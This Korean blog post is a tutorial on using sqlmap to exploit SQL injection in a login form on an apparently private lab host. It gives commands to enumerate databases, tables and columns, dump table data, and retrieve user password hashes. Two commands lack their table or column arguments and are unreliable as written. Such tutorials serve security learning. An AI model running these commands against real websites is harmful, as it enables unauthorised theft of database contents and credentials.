[DB_Hacking] Sqlmap을 사용한 DB 해킹

Song·2024년 8월 19일

해킹 툴

목록 보기
3/4

Sqlmap

Sqlmap은 Sql Injection을 자동으로 수행해주는 프로그램으로 Kali linux에 기본으로 내장되어 있습니다.

해당 프로그램을 사용해 웹 사이트의 데이터 베이스 정보를 회수하는 법을 알아보도록 하겠습니다.


정보 탐색

웹 사이트에 접속해서 개발자 도구를 활용해 로그인 폼의 코드를 확인합니다.

해당 웹 사이트에서는 login_chk.php 경로로 post 방식을 통해 id, pw 값을 전송합니다.

필요한 정보

  • 파라미터 : id, pw
  • 경로 : login_chk.php
  • method : post

만약 쿠키 값이 있다면 --cookie 옵션을 사용해 입력해줍니다.

세션 ID는 인증을 해야만 접근할 수 있는 경로에 공격을 수행할 때, 또는 공격을 하는 동안 세션을 유지해야하는 경우에 입력해주면 됩니다.

해당 웹 사이트는 로그인을 할 때 세션 ID가 필요하지 않기 때문에 세션 ID 값은 입력하지 않습니다.


공격

0. 공격 테스트

기본 공격 코드는 아래와 같습니다.

sqlmap -u "http://192.168.5.170/board/login_chk.php" --data="id=1&pw=1"

해당 웹 사이트는 Post 방식을 사용하기 때문에 --data 옵션을 이용해 따로 파라미터를 입력해줍니다.

Get 방식일 경우

sqlmap -u "http://192.168.5.170/board/login_chk.php?id=1&pw=1"

실행하면 여러 질문을 물어보는데 다 굳이 하지 않아도 되는 추가적인 테스트를 할 것인지 여부를 묻는 질문이기 때문에 그냥 엔터를 누르면 넘어갈 수 있습니다.

마지막쯤에 나오는 해당 질문은 응답 지연 시간을 조정하여 DBMS에 부하를 주지 않도록 최적화할지 여부를 묻는 질문입니다. 여기서는 Y를 입력하겠습니다.

공격이 완료되면 위의 사진처럼 DBMS 정보가 출력됩니다.

back-end DBMS: MYSQL > 5.0.12(MariaDB fork)

이제 여러 옵션을 통해 DB, Table, column을 회수해보겠습니다.

1. 현재 사용 중인 DB 회수

--current-db 옵션으로 현재 웹 사이트에서 사용중인 DB 이름 회수.

sqlmap -u "http://192.168.5.170/board/login_chk.php" --data="id=1" --current-db

사용한 공격 코드가 출력되고

아래에는 현재 사용 중인 DB 정보가 출력됩니다.

current database: 'webhack'


2. Table 회수

이제 -D 옵션의 인자로 알아낸 DB의 이름을 입력하고 --tables 옵션으로 table들을 회수합니다.

sqlmap -u "http://192.168.5.170/board/login_chk.php" --data="id=1" -D webhack --tables


3. Column 회수

알아낸 table 중 원하는 table을 -T 옵션의 인자로 입력하고 --columns 옵션으로 해당 table의 column을 회수합니다.

sqlmap -u "http://192.168.5.170/board/login_chk.php" --data="id=1" -D webhack -T --columns

4. Table 전체 데이터 회수

--dump 옵션을 사용하면 해당 테이블의 데이터를 가져올 수 있습니다.

sqlmap -u "http://192.168.5.170/board/login_chk.php" --data="id=1" -D webhack -T -C --dump

엔터 또는 Y 입력 후 기다리면 지정한 테이블의 정보를 볼 수 있습니다.(시간이 좀 걸립니다.)

그리고 해당 정보를 담은 csv 파일이 /root/.local/share/sqlmap/output/192.168.5.170/dump/webhack/member.csv 경로에 저장됩니다.

이외의 옵션들

이외에도 여러 유용한 옵션들이 있습니다.

옵션기능
-a (--a)모든 정보 회수
--current-user현재 유저 정보 회수
--passwords유저들의 패스워드 회수
--dbs모든 DB 정보 회수
--dump-allDBMS의 존재하는 모든 DB의 Table 값 회수
--threads스레드 사용 (1~10)
profile
안녕하세요

1개의 댓글

comment-user-thumbnail
2024년 9월 3일

설명이 불친절하네요 수정 부탁드립니다

답글 달기